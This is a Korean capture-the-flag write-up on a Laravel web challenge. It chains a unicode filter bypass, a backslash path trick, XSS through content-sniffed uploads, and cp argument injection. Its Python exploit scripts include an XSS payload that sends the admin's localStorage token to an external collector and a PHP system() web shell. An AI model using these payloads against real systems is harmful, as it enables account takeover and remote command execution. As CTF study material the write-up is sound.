- 키워드: Laravel, XSS, Argument Injection
분석
플래그 위치
플래그는 루트 디렉토리에 복사합니다.
1
ADD flag /flag
api.php
이 서비스는 Laravel 웹 프레임워크를 기반으로 동작하며, api.php에서 API 라우트가 정의되어 있습니다. 따라서 기본적으로 모든 요청은 /api/...
형태로 전달됩니다. 또한 auth:sanctum
미들웨어가 적용되어 있어, 일반적인 세션 기반 인증이 아닌 토큰 기반 인증을 거친 이용자 정보가 반환됩니다. 일부 라우트에는 DangerousWordFilter
미들웨어가 적용되어 요청이 해당 필터를 통해 추가적으로 검증됩니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use App\Http\Middleware\DangerousWordFilter;
use App\Http\Controllers\FileController;
Route::post('/register', [AuthController::class, 'register'])->middleware(DangerousWordFilter::class);
Route::post('/login', [AuthController::class, 'login'])->middleware(DangerousWordFilter::class);
// New public route for serving admin files
Route::get('/announcement/{filename}', [FileController::class, 'servePublicAdminFile'])->where('filename', '.*');
Route::get('/announcements', [FileController::class, 'serveAllPublicAdminFile']);
Route::middleware('auth:sanctum')->group(function () {
Route::post('/logout', [AuthController::class, 'logout'])->middleware(DangerousWordFilter::class);
Route::get('/user', function (Request $request) {
return $request->user();
})->middleware(DangerousWordFilter::class);
// File Upload and Download Routes
Route::post('/upload', [FileController::class, 'upload'])->middleware(DangerousWordFilter::class);
Route::get('/download/{filename}', [FileController::class, 'download'])->middleware(DangerousWordFilter::class);
Route::get('/files', [FileController::class, 'getAllFiles']);
// Admin command execution
Route::post('/admin/testFile', [\App\Http\Controllers\AdminController::class, 'testFile']);
Route::post('/admin/report', [\App\Http\Controllers\AdminController::class, 'report'])->middleware(DangerousWordFilter::class);
});
DangerousWordFilter.php - handle()
분석
이용자가 요청하는 body값에 ..
나 admin
이 있다면, 403 (Forbidden) 응답 코드를 반환합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function handle(Request $request, Closure $next): Response
{
if($request->path()==="api/login") {
return $next($request);
}
$dangerousWords = ['badword1', 'badword2', 'badword3', '..', 'admin']; // Added '..'
$rawBody = $request->getContent();
if (is_string($rawBody)) {
foreach ($dangerousWords as $word) {
if (stripos($rawBody, $word) !== false) {
return response()->json(['error' => 'Request contains dangerous words.'], 403);
}
}
}
return $next($request);
}
FileController.php - upload()
분석
FileController.php의 upload()
에서 파일 업로드를 처리합니다. 기본적으로 로그인이 되어있는 상태여야하며, basename()
을 이용해서 username에 ../
와 같은 문자를 방지합니다. 일반 유저의 경우 uploads/$username/
에 업로드하는 파일이 저장되지만, 만약 username
이 admin
이면 basePath
를 admin/
으로 설정하여 일반 유저와 업로드되는 경로를 분리합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public function upload(Request $request)
{
$request->validate([
'file' => 'required|file|max:5', // Max 10MB file size
]);
$user = Auth::user();
if (!$user) {
return response()->json(['error' => 'Unauthenticated.'], 401);
}
// Sanitize username
$username = basename($user->username); // Ensure no path traversal in username
// Determine disk and path based on admin status
$disk = 'local';
$basePath = 'uploads/' . $username;
$publicUrl = null; // To store the public URL if applicable
// Assuming 'is_admin' property exists on the User model
if ($user->username === 'admin') {
$disk = 'local'; // Corrected disk for admin
$basePath = 'admin/';
}
if (!Storage::disk($disk)->exists($basePath)) {
Storage::disk($disk)->makeDirectory($basePath);
}
$filePath = $request->file('file')->store($basePath); // Corrected storeAs parameter
if (isset($user->is_admin) && $user->is_admin) { // Corrected publicUrl logic
$publicUrl = "/api/announcement/".basename($filePath);
}
return response()->json([
'message' => 'File uploaded successfully',
'path' => basename($filePath),
'disk' => $disk,
'public_url' => $publicUrl // Will be null if not public
], 200);
}
AdminController.php - testFile()
분석
이용자가 admin이 아닐 경우 401 (Unauthorized) 응답 코드를 반환합니다. 이용자가 요청한 파일 이름은 basename()
함수를 통해 확인되며, 이를 통해 Path Traversal을 방지합니다. 이후 정규 표현식을 이용해 flag
문자열이나 셸 메타 문자 등 Command Injection에 사용될 수 있는 특수 문자들을 차단합니다. 이어서 file_exists()
함수를 사용하여 admin
의 파일 업로드 경로에 해당 파일이 실제로 존재하는지 확인합니다. 이러한 검증 과정을 모두 통과하면 최종적으로 cp
명령어를 실행하여 파일을 복사합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function testFile(Request $request)
{
$user = Auth::user();
if ($user->username !== 'admin') {
return response()->json( ['error' => 'Unauthenticated.'], 401);
}
$file = basename($request->input("file"));
$dst = uniqid();
if(preg_match('/[\$;\n\r`\.&|<>#\'"()*?:]|flag/', $file)) {
return response()->json(['error'=>"Be a nice hacker"]);
}
$file = "../storage/app/private/admin/" . $file;
if(!file_exists($file)){
return response()->json(['error'=>"$file not exist"]);
}
exec("cp $file $dst");
return response()->json(['output' => "/$dst"]);
}
AdminController.php - report()
분석
일반 유저여야 node
명령어를 통해 url
파라미터를 통해서 visitor.js를 실행합니다.
1
2
3
4
5
6
7
8
9
10
public function report(Request $request) {
$user = Auth::user();
if ($user->username === 'admin') {
return response()->json( ['error' => 'lonely?'], 400);
}
$url = $request->input("url");
$cmd = "node ../visitor.js ".escapeshellarg($url) . " >> /proc/1/fd/1 2>&1 &";
exec($cmd);
return response()->json(['message'=>'ok', "cmd"=>$cmd]);
}
visitor.js는 아래와 같습니다. 전달 받은 URL이 올바른 형태를 갖추었는지, /api/announcement/{postId}
의 형태로 끝나는지 확인합니다. 올바른 형태라면, 해당 postId
를 가진 게시글에 admin
의 권한을 가진 봇이 방문합니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import puppeteer from 'puppeteer';
import * as fs from 'fs';
const password = fs.readFileSync('/tmp/ADMIN_PASS','utf8');
const url = process.argv[2];
const HOST = process.argv[3] || 'app'; // **important**
(async () => {
if(url === undefined) {
console.log('Usage: node visitor.py URL')
process.exit(-1);
}
console.log(`url=${url}`);
const u = new URL(url);
if (u.protocol != 'http:' || u.host != HOST || !/^\/api\/announcement\/.+/.test(u.pathname)) {
console.log(`sus url, must protocol = http://, host = ${HOST}, pathname /api/announcement/{postid}`);
process.exit(-1);
}
// Launch Firefox instead of Chromium
const browser = await puppeteer.launch({
browser: 'firefox',
headless: true, // set to true if you don't want to see the browser
extraPrefsFirefox: {
'network.stricttransportsecurity.preloadlist': false, // disable auto https
'dom.security.https_only_mode': false,
'dom.security.https_first': false,
'dom.serviceWorkers.enabled': true,
'dom.serviceWorkers.testing.enabled': true, // allow SW on http: **important**
}
});
const page = await browser.newPage();
// Step 1: Go to Login
await page.goto(`http://${HOST}/login`, { waitUntil: 'networkidle2' });
console.log('login')
// Step 2: Login as admin
// Adjust selectors based on the actual login form structure
await page.type('#username', 'admin');
await page.type('#password', password);
await Promise.all([
page.click('#submit'),
page.waitForNavigation({ waitUntil: 'networkidle2' }),
]);
console.log('Go to next')
// Step 3: Navigate to /announcement
await page.goto(url, { timeout:5000, waitUntil: 'networkidle2' });
await browser.close();
process.exit(0);
})();
취약점 분석
JSON 유니코드 인코딩을 통한 DangerousWordFilter 우회
DangerousWordFilter.php에서 ..
와 admin
을 필터링하는데, \u002e
, \u0061
로 우회할 수 있습니다.
\
를 통한 admin 디렉토리에 게시글 생성
위의 취약점과 연계하여 ..\admin
이라는 username
을 가진 이용자를 생성할 수 있습니다. basename()
에서 \
는 일반적인 문자라고 생각해서 Path Normalize를 수행하지 않고 $basePath
가 uploads/..\admin
가 되는데, Laravel의 Filesystem(Flysystem)을 통해 makeDirectory()
를 호출하면 최종적으로 경로가 정규화되어 admin/
으로 생성됩니다. 따라서 FileController.php의 upload()
에서 파일이 admin/
에 저장되고 Announcement 페이지에 글을 추가할 수 있게된다. 따라서 /api/announcement/{postId}
에 접근할 수 있게됩니다.
XSS
Laravel에서 파일에 대한 확장자를 업로드하려는 파일의 컨텐츠를 스니핑하여 설정합니다. 따라서 <html><script></script></html>
와 같은 내용의 파일을 업로드하면 xxxx.html
과 같은 파일을 생성할 수 있기 때문에 XSS를 트리거할 수 있습니다.
sw.js 우회
Service Worker에서 아래와 같은 코드 때문에 Content-Type
이 text/plain
으로 설정이 되어 XSS가 안되는 문제가 있었습니다. 이 경우 HTT auth를 사용하여 우회할 수 있었는데 디코에서 이런 링크를 확인할 수 있었습니다. 봇이 Firefox를 사용하고 있었는데 이런건 어떻게 게싱을 해야할지 감이안오는군요…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
self.addEventListener('fetch', (event) => {
const url = new URL(event.request.url);
if (!filterEndpoints.some(endpoint => url.pathname.startsWith(endpoint))) {
return;
}
event.respondWith(
(async () => {
try {
// Step 1: Fetch the original response from the network
const originalResponse = await fetch(event.request);
const originalData = await originalResponse.text();
const newResponseHeaders = new Headers(originalResponse.headers);
newResponseHeaders.set('Content-Type', 'text/plain');
return new Response(originalData, {
status: originalResponse.status,
statusText: originalResponse.statusText,
headers: newResponseHeaders
});
} catch (error) {
console.log(error);
return new Response('Unexpected error occur', {
status: 500,
headers: { 'Content-Type': 'text/plain' }
});
}
})()
);
});
Argument Injection
AdminController에서 cp
명령어를 사용하는데 대부분의 셸 메타문자를 필터링하지만 -
를 사용할 수 있으므로, 아래와 같은 플래그를 사용하여 Argument Injection이 가능합니다. 따라서 정적 파일을 서빙하는 디렉토리에 PHP 파일을 생성하면 웹 셸을 이용하여 명령어를 실행시킬 수 있습니다.
1
2
-t, --target-directory=DIRECTORY: 파일을 특정 디렉토리에 복사합니다.
-S, --suffix=SUFFIX: 백업 파일의 접미사를 지정할 때 사용됩니다.
하지만 suffix를 설정하는 부분에서 필터링에 의해 .
을 사용할 수 없다는 문제점이 있습니다. 이는 glob 패턴을 이용하여 --suffix=index[--0]php
와 같은 방법으로 우회할 수 있습니다. .
이 아스키 코드를 기준으로 -
와 0
사이에 있기 때문에 index.php
가 suffix로 붙을 수 있습니다. 옵션 부분에서도 이런 glob 문자가 동작하는 것은 다른 갓갓 해커님 덕분에 처음 알았습니다. ㄷㄷ
익스플로잇
익스플로잇 시나리오
- 유니코드를 이용하여
..\admin
유저를 생성합니다. - localStroage에 있는 admin의 토큰을 탈취하는 스크립트를 업로드합니다.
- PHP 웹 셸 업로드를 위해서 PHP 코드를 업로드 합니다.
- report 기능을 통해 admin 토큰을 탈취합니다.
- AdminController에서
file_exists()
로 검증 하는 부분이 있으므로, Argument Injection 페이로드 부분과 같은 이름의 유저를 생성합니다. - 탈취한 admin 토큰으로
cp
명령어를 실행시킵니다. - 웹 셸을 통해 플래그를 획득합니다.
익스플로잇 코드
아래는 admin 토큰을 탈취하는 스크립트와 PHP 웹 셸을 업로드하는 코드입니다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from requests import Session
URL = "http://lokalhost:8001"
admin_bypass_user = '{"username":"\\u002e\\u002e\\\\\\u0061dmin", "password":"123456"}'
REQ_BIN = ''
xss_files = {
"file": ("tmp.txt", f"<html><script>fetch('{REQ_BIN}'.concat(localStorage['auth_token']))</script></html>", "text/plain")
}
php_files = {
"file": ("tmp.txt", '<?php echo system($_GET["cmd"]);?>', "text/plain")
}
with Session() as sess:
res = sess.post(f"{URL}/api/register", data=admin_bypass_user, headers={"Content-Type": "application/json"})
res = sess.post(f"{URL}/api/login", data=admin_bypass_user, headers={"Content-Type": "application/json"})
TOKEN = res.json()['token']
print(TOKEN)
res = sess.post(f"{URL}/api/upload",headers={"Authorization":f"Bearer {TOKEN}"}, files=xss_files)
XSS_PATH = res.json()['path']
print(XSS_PATH)
res = sess.post(f"{URL}/api/upload",headers={"Authorization":f"Bearer {TOKEN}"}, files=php_files)
PHP_SHELL_PATH = res.json()['path']
print(PHP_SHELL_PATH)
res = sess.post(f"{URL}/api/admin/report" ,headers={"Authorization":f"Bearer {TOKEN}"}, data={"url": f"http://asd:asd@app/api/announcement/{XSS_PATH}"})
print(res.text)
print("[+] Check your server")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from requests import Session
URL = "http://lokalhost:8001"
PHP_SHELL_PATH = ""
ADMIN_TOKEN = ""
test_files = {
"file": ("tmp.txt", 'hi', "text/plain")
}
with Session() as sess:
file_exists_bypass_user = f'{{"username":"\\u002e\\u002e\\\\\\u0061dmin\\\\{PHP_SHELL_PATH} -S index[--0]php -t build", "password":"123456"}}'
res = sess.post(f"{URL}/api/register", data=file_exists_bypass_user, headers={"Content-Type": "application/json"})
print(res.text)
res = sess.post(f"{URL}/api/login", data=file_exists_bypass_user, headers={"Content-Type": "application/json"})
print(res.text)
TOKEN = res.json()['token']
res = sess.post(f"{URL}/api/upload",headers={"Authorization":f"Bearer {TOKEN}"}, files=test_files)
print(res.text)
res = sess.post(f"{URL}/api/admin/testFile", json={"file": f"{PHP_SHELL_PATH} -S index[--0]php -t build"}, headers={"Authorization": f"Bearer {ADMIN_TOKEN}"}, allow_redirects=False)
res = sess.post(f"{URL}/api/admin/testFile", json={"file": f"{PHP_SHELL_PATH} -S index[--0]php -t build"}, headers={"Authorization": f"Bearer {ADMIN_TOKEN}"}, allow_redirects=False)
print(res.text)
잠깐이지만 아주 재미있게 생각해볼 수 있었던 문제였습니다!
Comments powered by Disqus.